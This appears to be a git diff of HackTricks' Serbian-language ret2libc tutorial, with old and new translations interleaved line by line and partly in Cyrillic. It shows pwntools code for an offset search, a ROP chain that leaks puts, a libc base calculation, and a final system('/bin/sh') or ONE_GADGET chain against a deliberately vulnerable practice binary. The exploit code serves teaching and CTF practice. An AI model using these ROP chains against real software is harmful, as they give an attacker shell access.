* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Brzi Rezime ## Brzi rezime
1. **Pronađite** offset **preplavljivanja** 1. **Pronađite** offset **prelivanja**
2. **Pronađite** `POP_RDI` gedžet, `PUTS_PLT` i `MAIN` gedžete 2. **Pronađite** `POP_RDI` gadget, `PUTS_PLT` i `MAIN` gadgete
3. Koristite prethodne gedžete da **procurete memorijsku adresu** puts ili neke druge libc funkcije i **pronađete verziju libc-a** ([preuzmite je](https://libc.blukat.me)) 3. Koristite prethodne gadgete da **curite adresu u memoriji** funkcije puts ili druge libc funkcije i **pronađite verziju libc** ([preuzmite je](https://libc.blukat.me))
4. Sa bibliotekom, **izračunajte ROP i iskoristite je** 4. Sa bibliotekom, **izračunajte ROP i iskoristite ga**
## Ostali tutorijali i binarni fajlovi za vežbanje ## Ostali tutorijali i binarni fajlovi za vežbanje
@ -44,17 +45,17 @@ return 0;
```bash ```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie gcc -o vuln vuln.c -fno-stack-protector -no-pie
``` ```
## ROP - Šablona za otkrivanje LIBC adrese ## ROP - Leaking LIBC шаблон
Preuzmite eksploataciju i smestite je u isti direktorijum kao i ranjivu binarnu datoteku i pružite potrebne podatke skripti: Преузмите експлоит и ставите га у исту директорију као и рањиви бинарни фајл и дајте потребне податке скрипти:
{% content-ref url="rop-leaking-libc-template.md" %} {% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md) [rop-leaking-libc-template.md](rop-leaking-libc-template.md)
{% endcontent-ref %} {% endcontent-ref %}
## 1- Pronalaženje ofseta ## 1- Налажење офсета
Šablonu je potreban ofset pre nego što nastavi sa eksploatacijom. Ako nije pružen, izvršiće potreban kod za njegovo pronalaženje (podrazumevano `OFFSET = ""`): Шаблону је потребан офсет пре него што настави са експлоитом. Ако је било који пружен, извршиће потребан код да га пронађе (по подразумеваној вредности `OFFSET = ""`):
```bash ```bash
################### ###################
### Find offset ### ### Find offset ###
@ -69,21 +70,21 @@ r.sendline(payload)
#cyclic_find(0x6161616b) # Find the offset of those bytes #cyclic_find(0x6161616b) # Find the offset of those bytes
return return
``` ```
**Izvršite** `python template.py`, otvoriće se GDB konzola sa programom koji je pao. Unutar te **GDB konzole** izvršite `x/wx $rsp` da biste dobili **bajtove** koji će prepisati RIP. Na kraju dobijte **ofset** koristeći **python** konzolu: **Izvršite** `python template.py` GDB konzola će se otvoriti sa programom koji se srušio. Unutar te **GDB konzole** izvršite `x/wx $rsp` da dobijete **bajtove** koji su trebali da prepišu RIP. Na kraju dobijte **offset** koristeći **python** konzolu:
```python ```python
from pwn import * from pwn import *
cyclic_find(0x6161616b) cyclic_find(0x6161616b)
``` ```
![](<../../../../.gitbook/assets/image (1007).png>) ![](<../../../../.gitbook/assets/image (1007).png>)
Nakon što pronađete offset (u ovom slučaju 40), promenite promenljivu OFFSET unutar šablona koristeći tu vrednost.\ Nakon pronalaženja ofseta (u ovom slučaju 40) promenite OFFSET promenljivu unutar šablona koristeći tu vrednost.\
`OFFSET = "A" * 40` `OFFSET = "A" * 40`
Još jedan način bio bi korišćenje: `pattern create 1000` -- _izvršiti do ret_ -- `pattern seach $rsp` iz GEF-a. Drugi način bi bio da se koristi: `pattern create 1000` -- _izvršiti do ret_ -- `pattern seach $rsp` iz GEF-a.
## 2- Pronalaženje Gadgeta ## 2- Pronalaženje Gadžeta
Sada trebamo pronaći ROP gadžete unutar binarnog fajla. Ovi ROP gadžeti će biti korisni za pozivanje `puts` kako bismo pronašli **libc** koji se koristi, a kasnije i za **pokretanje konačnog napada**. Sada treba da pronađemo ROP gadžete unutar binarnog fajla. Ovi ROP gadžeti će biti korisni za pozivanje `puts` kako bismo pronašli **libc** koja se koristi, a kasnije za **pokretanje konačnog eksploita**.
```python ```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main'] MAIN_PLT = elf.symbols['main']
@ -94,15 +95,15 @@ log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT)) log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI)) log.info("pop rdi; ret gadget: " + hex(POP_RDI))
``` ```
`PUTS_PLT` je potreban da bi se pozvala **funkcija puts**.\ `PUTS_PLT` je potreban za pozivanje **funkcije puts**.\
`MAIN_PLT` je potreban da bi se pozvala **glavna funkcija** ponovo nakon jedne interakcije da bi se **iskoristio** preljev **ponovo** (beskonačne runde iskorišćavanja). **Koristi se na kraju svakog ROP-a da bi se program pozvao ponovo**.\ `MAIN_PLT` je potreban za ponovo pozivanje **main funkcije** nakon jedne interakcije da bi se **iskoristio** overflow **ponovo** (beskonačni krugovi eksploatacije). **Koristi se na kraju svakog ROP-a da ponovo pozove program**.\
**POP\_RDI** je potreban da bi se **prosledio** **parametar** pozvanoj funkciji. **POP\_RDI** je potreban da se **proslijedi** **parametar** pozvanoj funkciji.
U ovom koraku ne morate izvršiti ništa jer će sve biti pronađeno pomoću pwntools tokom izvršavanja. U ovom koraku ne morate izvršavati ništa jer će sve biti pronađeno od strane pwntools tokom izvršenja.
## 3- Pronalaženje libc biblioteke ## 3- Pronalaženje libc biblioteke
Sada je vreme da se otkrije koja verzija **libc** biblioteke se koristi. Da bismo to uradili, **procurećemo** **adresu** u memoriji **funkcije** `puts`, a zatim ćemo **tražiti** u kojoj **verziji biblioteke** se nalazi ta verzija puts funkcije na toj adresi. Sada je vreme da pronađemo koja verzija **libc** biblioteke se koristi. Da bismo to uradili, iskoristićemo **leak** **adresu** u memoriji **funkcije** `puts` i zatim ćemo **pretražiti** u kojoj **verziji biblioteke** se nalazi verzija puts na toj adresi.
```python ```python
def get_addr(func_name): def get_addr(func_name):
FUNC_GOT = elf.got[func_name] FUNC_GOT = elf.got[func_name]
@ -131,30 +132,30 @@ if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive() p.interactive()
``` ```
Da biste to postigli, najvažnija linija izvršenog koda je: Da bi to uradili, najvažnija linija izvršenog koda je:
```python ```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
``` ```
Ovo će poslati nekoliko bajtova dok nije moguće **prepisati** **RIP**: `OFFSET`.\ Ovo će poslati neke bajtove dok **prepisivanje** **RIP** nije moguće: `OFFSET`.\
Zatim će postaviti **adresu** gedžeta `POP_RDI` tako da će sledeća adresa (`FUNC_GOT`) biti sačuvana u registru **RDI**. To je zato što želimo **pozvati puts** **prosljeđujući** mu **adresu** `PUTS_GOT` jer je adresa funkcije puts u memoriji sačuvana na adresi na koju pokazuje `PUTS_GOT`.\ Zatim, postaviće se **adresa** gadgeta `POP_RDI` tako da će sledeća adresa (`FUNC_GOT`) biti sačuvana u registru **RDI**. To je zato što želimo da **pozovemo puts** **prosljeđujući** mu **adresu** `PUTS_GOT` jer je adresa u memoriji funkcije puts sačuvana u adresi na koju pokazuje `PUTS_GOT`.\
Nakon toga, pozvaće se `PUTS_PLT` (sa `PUTS_GOT` unutar **RDI**) tako da će puts **pročitati sadržaj** unutar `PUTS_GOT` (**adresa funkcije puts u memoriji**) i **ispisati je**.\ Nakon toga, biće pozvan `PUTS_PLT` (sa `PUTS_GOT` unutar **RDI**) tako da će puts **pročitati sadržaj** unutar `PUTS_GOT` (**adresa funkcije puts u memoriji**) i **odštampati** ga.\
Na kraju, **ponovo se poziva glavna funkcija** kako bismo ponovo iskoristili prekoračenje. Na kraju, **glavna funkcija se ponovo poziva** kako bismo mogli ponovo iskoristiti prelivanje.
Na ovaj način smo **prevarili funkciju puts** da **ispisuje** **adresu** u **memoriji** funkcije **puts** (koja je unutar **libc** biblioteke). Sada kada imamo tu adresu, možemo **proveriti koja verzija libc-a se koristi**. Na ovaj način smo **prevarili funkciju puts** da **odštampa** **adresu** u **memoriji** funkcije **puts** (koja se nalazi u **libc** biblioteci). Sada kada imamo tu adresu možemo **potražiti koja verzija libc se koristi**.
![](<../../../../.gitbook/assets/image (1049).png>) ![](<../../../../.gitbook/assets/image (1049).png>)
Kako **iskorištavamo** neki **lokalni** binarni fajl, nije **potrebno** otkriti koja verzija **libc**-a se koristi (samo pronađite biblioteku u `/lib/x86_64-linux-gnu/libc.so.6`).\ Pošto **iskorišćavamo** neki **lokalni** binarni fajl, **nije potrebno** da otkrijemo koja verzija **libc** se koristi (samo pronađite biblioteku u `/lib/x86_64-linux-gnu/libc.so.6`).\
Međutim, u slučaju udaljenog napada objasniću kako to možete pronaći: Ali, u slučaju udaljenog eksploata, objasniću ovde kako možete to pronaći:
### 3.1- Pretraga verzije libc-a (1) ### 3.1- Pretraživanje verzije libc (1)
Možete pretražiti koja biblioteka se koristi na veb stranici: [https://libc.blukat.me/](https://libc.blukat.me)\ Možete pretražiti koja biblioteka se koristi na veb stranici: [https://libc.blukat.me/](https://libc.blukat.me)\
Takođe će vam omogućiti da preuzmete otkrivenu verziju **libc**-a Takođe će vam omogućiti da preuzmete otkrivenu verziju **libc**
![](<../../../../.gitbook/assets/image (221).png>) ![](<../../../../.gitbook/assets/image (221).png>)
### 3.2- Pretraga verzije libc-a (2) ### 3.2- Pretraživanje verzije libc (2)
Takođe možete uraditi: Takođe možete uraditi:
@ -162,13 +163,13 @@ Takođe možete uraditi:
* `$ cd libc-database` * `$ cd libc-database`
* `$ ./get` * `$ ./get`
Ovo će potrajati neko vreme, budite strpljivi.\ Ovo će potrajati, budite strpljivi.\
Da bi ovo radilo, potrebno nam je: Za ovo da bi radilo potrebni su nam:
* Ime simbola libc-a: `puts` * Ime libc simbola: `puts`
* Procurena adresa libc-a: `0x7ff629878690` * Otkazana libc adresa: `0x7ff629878690`
Možemo saznati koja se **libc** najverovatnije koristi. Možemo otkriti koja **libc** se najverovatnije koristi.
```bash ```bash
./find puts 0x7ff629878690 ./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
@ -183,7 +184,9 @@ Getting libc6_2.23-0ubuntu10_amd64
-> Extracting package -> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64 -> Package saved to libs/libc6_2.23-0ubuntu10_amd64
``` ```
### 3.3- Druge funkcije za otkrivanje Kopirajte libc iz `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` u naš radni direktorijum.
### 3.3- Druge funkcije za leak
```python ```python
puts puts
printf printf
@ -191,25 +194,25 @@ __libc_start_main
read read
gets gets
``` ```
## 4- Pronalaženje zasnovane adrese libc-a i eksploatacija ## 4- Pronalaženje bazne libc adrese i eksploatacija
U ovom trenutku trebalo bi da znamo koju libc biblioteku koristimo. Budući da eksploatišemo lokalni binarni fajl, koristiću samo: `/lib/x86_64-linux-gnu/libc.so.6` U ovom trenutku trebali bismo znati koja se libc biblioteka koristi. Pošto eksploatišemo lokalni binarni fajl, koristiću samo: `/lib/x86_64-linux-gnu/libc.so.6`
Dakle, na početku `template.py` promenite **libc** promenljivu u: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Postavite putanju biblioteke kada je znate` Dakle, na početku `template.py` promenite **libc** promenljivu na: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Postavite putanju do biblioteke kada je znate`
Dajući **putanju** do **libc biblioteke**, ostatak **eksploatacije će biti automatski izračunat**. Davanjem **putanje** do **libc biblioteke**, ostatak **eksploata će biti automatski izračunat**.
Unutar funkcije `get_addr` biće izračunata **bazna adresa libc-a**: Unutar `get_addr` funkcije, **bazna adresa libc** će biti izračunata:
```python ```python
if libc != "": if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address)) log.info("libc base @ %s" % hex(libc.address))
``` ```
{% hint style="info" %} {% hint style="info" %}
Imajte na umu da **konačna adresa osnovne libc biblioteke mora završiti sa 00**. Ako to nije slučaj, možda ste otkrili netačnu biblioteku. Napomena da **konačna libc osnovna adresa mora završavati sa 00**. Ako to nije vaš slučaj, možda ste iscurili pogrešnu biblioteku.
{% endhint %} {% endhint %}
Zatim će adresa funkcije `system` i **adresa** stringa _"/bin/sh"_ biti **izračunati** iz **osnovne adrese** **libc** i date **libc biblioteke**. Zatim, adresa funkcije `system` i **adresa** do stringa _"/bin/sh"_ će biti **izračunate** iz **osnovne adrese** **libc** i date **libc biblioteci.**
```python ```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"] SYSTEM = libc.sym["system"]
@ -218,7 +221,7 @@ EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH)) log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM)) log.info("system %s " % hex(SYSTEM))
``` ```
Konačno, eksploatacija izvršenja /bin/sh će biti pripremljena poslata: Na kraju, eksploit za izvršenje /bin/sh će biti pripremljen i poslat:
```python ```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
@ -228,68 +231,69 @@ p.sendline(rop2)
#### Interact with the shell ##### #### Interact with the shell #####
p.interactive() #Interact with the conenction p.interactive() #Interact with the conenction
``` ```
Objasnićemo ovaj konačni ROP.\ Hajde da objasnimo ovaj konačni ROP.\
Poslednji ROP (`rop1`) završio je ponovnim pozivom glavne funkcije, zatim možemo **ponovo iskoristiti** **preplavljivanje** (zato je ovde ponovo `OFFSET`). Zatim želimo pozvati `POP_RDI` koji pokazuje na **adresu** _"/bin/sh"_ (`BINSH`) i pozvati funkciju **system** (`SYSTEM`) jer će adresa _"/bin/sh"_ biti prosleđena kao parametar.\ Poslednji ROP (`rop1`) je ponovo pozvao glavnu funkciju, tako da možemo **ponovo iskoristiti** **overflow** (zato je `OFFSET` ovde ponovo). Zatim, želimo da pozovemo `POP_RDI` koji pokazuje na **adresu** _"/bin/sh"_ (`BINSH`) i pozovemo **system** funkciju (`SYSTEM`) jer će adresa _"/bin/sh"_ biti prosleđena kao parametar.\
Na kraju se **poziva adresa funkcije izlaza** tako da se proces **lepo završi** i ne generiše se nikakvo upozorenje. Na kraju, **adresa funkcije exit** je **pozvana** tako da proces **izlazi lepo** i ne generiše se nikakvo upozorenje.
**Na ovaj način eksploit će izvršiti \_/bin/sh**\_\*\* shell.\*\* **Na ovaj način će exploit izvršiti \_/bin/sh**\_\*\* shell.\*\*
![](<../../../../.gitbook/assets/image (165).png>) ![](<../../../../.gitbook/assets/image (165).png>)
## 4(2)- Korišćenje ONE\_GADGET ## 4(2)- Korišćenje ONE\_GADGET
Takođe možete koristiti [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget) da biste dobili shell umesto korišćenja **system** i **"/bin/sh". ONE\_GADGET** će pronaći unutar libc biblioteke neki način da se dobije shell koristeći samo jednu **ROP adresu**.\ Takođe možete koristiti [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget) da dobijete shell umesto korišćenja **system** i **"/bin/sh". ONE\_GADGET** će pronaći unutar libc biblioteke neki način da dobije shell koristeći samo jednu **ROP adresu**.\
Međutim, obično postoje neka ograničenja, najčešća i lako izbegnuta su poput `[rsp+0x30] == NULL`. Pošto kontrolišete vrednosti unutar **RSP**, samo treba poslati još nekoliko NULL vrednosti kako bi se ograničenje izbeglo. Međutim, obično postoje neka ograničenja, najčešća i lako izbegnuta su kao `[rsp+0x30] == NULL` Pošto kontrolišete vrednosti unutar **RSP**, samo treba da pošaljete još nekoliko NULL vrednosti kako bi se ograničenje izbeglo.
![](<../../../../.gitbook/assets/image (754).png>) ![](<../../../../.gitbook/assets/image (754).png>)
```python ```python
ONE_GADGET = libc.address + 0x4526a ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100 rop2 = base + p64(ONE_GADGET) + "\x00"*100
``` ```
## EXPLOIT FAJL ## EXPLOIT FILE
Ovde možete pronaći šablon za iskorišćavanje ove ranjivosti: Možete pronaći šablon za iskorišćavanje ove ranjivosti ovde:
{% content-ref url="rop-leaking-libc-template.md" %} {% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md) [rop-leaking-libc-template.md](rop-leaking-libc-template.md)
{% endcontent-ref %} {% endcontent-ref %}
## Česti problemi ## Uobičajeni problemi
### MAIN\_PLT = elf.symbols\['main'] nije pronađen ### MAIN\_PLT = elf.symbols\['main'] nije pronađen
Ako simbol "main" ne postoji. Tada možete pronaći gde se nalazi glavni kod: Ako simbol "main" ne postoji. Tada možete pronaći gde je glavni kod:
```python ```python
objdump -d vuln_binary | grep "\.text" objdump -d vuln_binary | grep "\.text"
Disassembly of section .text: Disassembly of section .text:
0000000000401080 <.text>: 0000000000401080 <.text>:
``` ```
i postavite adresu ručno: и ручно поставите адресу:
```python ```python
MAIN_PLT = 0x401080 MAIN_PLT = 0x401080
``` ```
### Puts nije pronađen ### Puts nije pronađen
Ako binarni fajl ne koristi Puts, trebalo bi da proverite da li koristi Ako binarni fajl ne koristi Puts, trebali biste proveriti da li koristi
### `sh: 1: %s%s%s%s%s%s%s%s: not found` ### `sh: 1: %s%s%s%s%s%s%s%s: nije pronađen`
Ako pronađete ovu **grešku** nakon što ste kreirali **sve** eksploate: `sh: 1: %s%s%s%s%s%s%s%s: not found` Ako pronađete ovu **grešku** nakon što ste kreirali **sve** eksploite: `sh: 1: %s%s%s%s%s%s%s%s: nije pronađen`
Pokušajte da **oduzmete 64 bajta od adrese "/bin/sh"**: Pokušajte da **oduzmete 64 bajta od adrese "/bin/sh"**:
```python ```python
BINSH = next(libc.search("/bin/sh")) - 64 BINSH = next(libc.search("/bin/sh")) - 64
``` ```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Otkrivanje libc - šablon # Leaking libc - шаблон
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure> <figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -204,29 +205,29 @@ P.interactive() #Interact with your shell :)
``` ```
{% endcode %} {% endcode %}
## Česti problemi ## Uobičajeni problemi
### MAIN\_PLT = elf.symbols\['main'] nije pronađen ### MAIN\_PLT = elf.symbols\['main'] nije pronađen
Ako simbol "main" ne postoji (verovatno zato što je binarni fajl osakaćen), možete jednostavno pronaći gde se nalazi glavni kod: Ako simbol "main" ne postoji (verovatno zato što je binarni fajl obrisan). Tada možete jednostavno pronaći gde je glavni kod:
```python ```python
objdump -d vuln_binary | grep "\.text" objdump -d vuln_binary | grep "\.text"
Disassembly of section .text: Disassembly of section .text:
0000000000401080 <.text>: 0000000000401080 <.text>:
``` ```
i postavite adresu ručno: и ручно поставите адресу:
```python ```python
MAIN_PLT = 0x401080 MAIN_PLT = 0x401080
``` ```
### Puts nije pronađen ### Puts nije pronađen
Ako binarni fajl ne koristi Puts, trebalo bi **proveriti da li se koristi** Ako binarni fajl ne koristi Puts, trebali biste **proveriti da li koristi**
### `sh: 1: %s%s%s%s%s%s%s%s: not found` ### `sh: 1: %s%s%s%s%s%s%s%s: nije pronađen`
Ako pronađete ovu **grešku** nakon što ste kreirali **sve** eksploate: `sh: 1: %s%s%s%s%s%s%s%s: not found` Ako pronađete ovu **grešku** nakon što ste kreirali **sve** eksploite: `sh: 1: %s%s%s%s%s%s%s%s: nije pronađen`
Pokušajte **oduzeti 64 bajta od adrese "/bin/sh"**: Pokušajte da **oduzmete 64 bajta od adrese "/bin/sh"**:
```python ```python
BINSH = next(libc.search("/bin/sh")) - 64 BINSH = next(libc.search("/bin/sh")) - 64
``` ```
@ -235,16 +236,17 @@ BINSH = next(libc.search("/bin/sh")) - 64
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# Ret2syscall # Ret2syscall
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
## Osnovne informacije
